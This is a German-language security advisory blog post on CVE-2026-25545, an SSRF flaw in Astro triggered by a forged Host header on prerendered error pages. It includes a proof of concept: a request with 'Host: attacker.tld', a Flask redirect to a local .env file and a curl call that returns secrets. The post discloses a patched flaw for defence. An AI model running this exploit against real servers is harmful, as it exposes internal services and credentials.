Aikido

Astro SSRF mit vollständigem Lesezugriff durch Host-Header-Injection

Verfasst von
Jorian Woltjer

Astro ist ein JavaScript-Frontend- und -Backend-Framework, das von vielen großen Organisationen genutzt wird, um die Website-Entwicklung erheblich zu vereinfachen. Kürzlich identifizierte einer der Agenten unseres Aikido Attack-Produkts eine Schwachstelle mittleren Schweregrads in der serverseitigen Implementierung dieses Frameworks. Dies machte alle für den Angreifer direkt zugänglichen Server anfällig für Server-Side Request Forgery (SSRF).

Jetzt bekannt als CVE-2026-25545, haben wir die Maintainer von Astro schnell benachrichtigt, um innerhalb weniger Tage einen Fix zu erhalten. Die Versionen astro@5.17.2, @astrojs/node@9.5.3 sowie die Beta astro@6.0.0-beta.11 sind gepatcht.

Zusammenfassung

Server-Side Rendered (SSR)-Fehler mit einer vorgerenderten benutzerdefinierten Fehlerseite (z.B., 404.astro oder 500.astro) sind anfällig für SSRF. Wenn der Host: Header auf den Server eines Angreifers geändert wird, /500.html wird von deren Server abgerufen und kann zu jeder anderen internen URL umgeleitet werden. Diese Umleitung wird verfolgt, und die Antwort wird an den Angreifer zurückgegeben.

Alle Dienste auf localhost oder im internen Netzwerk, die durch Firewalls und NAT geschützt sind, können auf diese Weise zugänglich werden, was je nach gehosteten Inhalten verheerende Folgen haben kann.

Details

Der KI-Penetrationstests-Agent fand dieses Problem während unserer Recherche, daher werden wir seinen Denkprozess erläutern, während wir die Details dieser Schwachstelle durchgehen.

Astro kann Seiten in zwei Modi rendern: „static“ und „server“. Einfache Websites benötigen möglicherweise keinen Server und können als statische HTML-Dateien exportiert werden, während andere serverseitige Logik erfordern. Sie können pro Seite entscheiden, was benötigt wird.

Für die Startseite könnten Sie eine HTML-Datei prerendern, die immer gleich bleibt und sich nur beim erneuten Build ändert. Um stattdessen on demand zu rendern, beispielsweise für einen View-Counter, ist Server-Side Rendering (SSR) erforderlich.

Die Verwendung von SSR erfordert, dass Sie die Output-Konfigurationsoption auf 'server' in astro.config.mjs:

export default defineConfig({
  output: 'server'
})

Ein interessantes Beispiel sind die Fehlerseiten in Astro. Jede Route kann Fehler wie 404 Not Found oder 500 Internal Server Error zurückgeben, die mit den Standard-Fehlerseiten ansprechend dargestellt werden.

Als Entwickelnde können Sie eine benutzerdefinierte Fehlerseite mit 404.astro oder 500.astro. Aus Effizienzgründen werden diese, wenn möglich, als HTML-Dateien prerendered. Das Interessante daran ist, dass ein Server nun eine prerendered Antwort zurückgeben muss.

Dies ist auf eine etwas seltsame Weise implementiert: der Server ruft /404.html oder /500.html von sich selbst ab und gibt dieses Ergebnis zurück. Sie können dies nachlesen in renderError():

1async #renderError(...): Promise<Response> {
2  const errorRoutePath = `/${status}${this.#manifest.trailingSlash === 'always' ? '/' : ''}`;
3  const errorRouteData = matchRoute(errorRoutePath, this.#manifestData);
4  const url = new URL(request.url);
5  if (errorRouteData) {
6    if (errorRouteData.prerender) {
7      const maybeDotHtml = errorRouteData.route.endsWith(`/${status}`) ? '.html' : '';
8      const statusURL = new URL(
9        `${this.#baseWithoutTrailingSlash}/${status}${maybeDotHtml}`,
10        url,  // base
11      );
12      if (statusURL.toString() !== request.url) {
13        const response = await prerenderedErrorPageFetch(statusURL.toString() as ErrorPagePath);
14        const override = { status, removeContentEncodingHeaders: true };
15        return this.#mergeResponses(response, originalResponse, override);
16      }
17    }
18  ...
19}
20

Die wichtigste Zeile ist prerenderedErrorPageFetch(statusURL), die ausgeführt wird, wenn eine benutzerdefinierte Fehlerroute existiert und die Fehlerseite prerendered (Zeile 13). In NodeJS ist dies einfach ein Alias für fetch() wenn options.experimentalErrorPageHost nicht gesetzt ist.
statusURL wird aus request.url (Zeile 4) aufgebaut. Diese Eigenschaft stammt von req.headers.host, auch bekannt als der Host: Header in HTTP.

static createRequest(...) {
  const providedHostname = req.headers.host ?? req.headers[':authority'];
  const validated = App.validateForwardedHeaders(
    getFirstForwardedValue(req.headers['x-forwarded-proto']),
    getFirstForwardedValue(req.headers['x-forwarded-host']),
    getFirstForwardedValue(req.headers['x-forwarded-port']),
    allowedDomains,
  );
  const sanitizedProvidedHostname = App.sanitizeHost(
    typeof providedHostname === 'string' ? providedHostname : undefined,
  );
  const hostname = validated.host ?? sanitizedProvidedHostname;

  const hostnamePort = getHostnamePort(hostname, port);
  url = new URL(`${protocol}://${hostnamePort}${req.url}`);

  const request = new Request(url, options);
  ...

Der Host: Header ist immer benutzergesteuert, da er lediglich ein beliebiger String ist, den der Client sendet. Wie Sie in der obigen Logik sehen können, verwendet Astro req.headers.host um request.urlzu konstruieren, die dann zur Basis-URL für einen internen fetch() Aufruf wird. Astro vertraut darauf, dass die Eingabe auf den Server selbst zeigt, ohne sie tatsächlich zu validieren. Dies ist Host header injection, und das ist es, was SSRF hier ermöglicht.

GET /not-found HTTP/1.1
Host: attacker.tld

SSRF

Wir kamen hierher für Server-Side Request Forgery, aber wir sind an diesem Punkt nicht weit entfernt. Die obige Anfrage löst einen 404-Fehler aus, und wenn eine benutzerdefinierte 404-Seite konfiguriert ist, wird unser attacker.tld Host-Header verwendet, um eine Anfrage an http://attacker.tld/404.html .
Dies ermöglicht uns bereits, diese spezifische URL auf jedem internen Host abzurufen:

GET /404.html HTTP/1.1
host: attacker.tld
Verbindung: keep-alive
akzeptieren: */*
accept-language: *
sec-fetch-mode: cors
user-agent: node
accept-encoding: gzip, deflate

Es gibt wahrscheinlich nicht viel sensiblen Inhalt auf /404.html eines beliebigen Hosts. Zum Glück für uns, fetch() folgt automatisch Weiterleitungen. Eine Tatsache, die wir nutzen können, da wir den Astro-Server bereits dazu bringen können, die Website unseres Angreifers anzufordern. Alles, was wir tun müssen, ist weiterleiten von http://attacker.tld/404.html zu einer sensiblen URL wie http://127.0.0.1:8000/.env!

Dazu richten wir einen einfachen Server ein:

aus flask import Flask, redirect

app = Flask(__name__)

@app.route("/404.html")
def exploit():
    return redirect("http://127.0.0.1:8000/.env")

if __name__ == "__main__":
    app.run()

Dann senden wir unsere bösartige Anfrage erneut:

$ curl -i 'http://localhost:4321/not-found' -H 'Host: attacker.tld'
HTTP/1.1 404 OK
content-type: text/plain
server: SimpleHTTP/0.6 Python/3.12.3
Verbindung: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

SECRET=...

Erfolg! Die 404-Seite wurde vom Angreifer abgerufen, weitergeleitet an 127.0.0.1:8000, und ihre Antwort (Header & Body) wurde zurückgegeben. Damit könnte ein Angreifer das gesamte interne Netzwerk kartieren und mit den Diensten interagieren, um potenziell sensible Informationen auszulesen.

Anforderungen

Damit ein Angreifer diese Schwachstelle ausnutzen kann, müssen einige Anforderungen erfüllt sein:

  1. Der Server muss sich im Server-Side Rendering-Modus befinden (andernfalls handelt es sich lediglich um statisches HTML).
  2. Der Host: Header darf nicht bereinigt sein. Einige Proxys validieren diesen Header, daher kann es notwendig sein, die
  3. Origin-IP des Astro-Servers zu finden, um sich direkt mit ihm zu verbinden.
  4. Im Quellcode muss die Entwickelnde eine benutzerdefinierte 404.astro, 404.md, oder 500.astro Datei konfiguriert haben. Dies ist bei größeren Anwendungen üblich.

Wie gezeigt, ist die Ausnutzung eines 404-Fehlers durch den Besuch eines nicht gerouteten Pfads der wahrscheinlichste Exploitation-Pfad. Wenn jedoch eine benutzerdefinierte Internal Server Error-Seite konfiguriert ist, kann das Auslösen eines beliebigen Fehlers mit einem gefälschten Host:-Header die Schwachstelle auf die gleiche Weise auslösen.

Behebung

Nachdem wir die von unserem AI-Agenten gemeldete Schwachstelle gesehen hatten, meldeten wir sie umgehend den Astro-Maintainern, die innerhalb weniger Tage einen Fix bereitstellten.

Die gepatchten Versionen beginnen ab:

  • astro@5.17.2
  • astro@6.0.0-beta.11
  • @astrojs/node@9.5.3

Ihr Fix bestand darin, die prerenderedErrorPageFetch() Funktion zu überdenken, die zuvor ein Wrapper für fetch() war. Jetzt /404 oder /500 Dateien werden direkt von der Festplatte gelesen, und alles andere wird nur abgerufen, wenn options.experimentalErrorPageHost explizit gesetzt ist und angibt, woher abgerufen werden soll. Der Host:-Header wird nun ebenfalls validiert, ähnlich wie X-Forwarded-Host: es bereits war, um zu verhindern, dass ein Angreifer manipuliert request.url in Astro.

Diese Schwachstelle beruht auf dem Vertrauen in Benutzereingaben im Host: Header, was niemals geschehen sollte. Magische Funktionen wie die standardmäßige Umleitung von

fetch() können ebenfalls zu unerwarteten Konsequenzen führen. Es ist ratsam, sich durch das Lesen der Dokumentation genau bewusst zu sein, was die aufgerufenen Funktionen tun.

Der Exploit für diese Schwachstelle erweist sich als recht einfach und ist leicht zu testen. Es genügt, eine nicht existierende Seite mit einem fehlerhaften Host: Header anzufordern. Solche Angriffe können sogar ohne Quellcode durch Interaktion mit der Anwendung gefunden werden, was

Aikidos AI-Pentest kann. Es verfügt jedoch auch über starke Code-Analyse- (Whitebox-) Fähigkeiten, wie dieser Bericht zeigt.

Zeitplan

  • 2. Februar 2026: Aikido Security identifizierte die Schwachstelle und erstellte einen funktionierenden PoC
  • 3. Februar 2026: Verantwortungsvolle Offenlegung gegenüber den Astro-Maintainern
  • 3. Februar 2026: Bericht von den Astro-Maintainern bestätigt und Beginn der Arbeit an einem Fix
  • 4. Februar 2026: CVE-2026-25545 wird von GitHub erstellt
  • 11. Februar 2026: Fix wird in neuen Versionen von Astro veröffentlicht (astro@5.17.2, astro@6.0.0-beta.11, und @astrojs/node@9.5.3)
Teilen:

https://www.aikido.dev/blog/astro-full-read-ssrf-via-host-header-injection

Heute kostenlos starten.

Kostenlos starten
Ohne Kreditkarte

Abonnieren Sie Bedrohungs-News.

4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.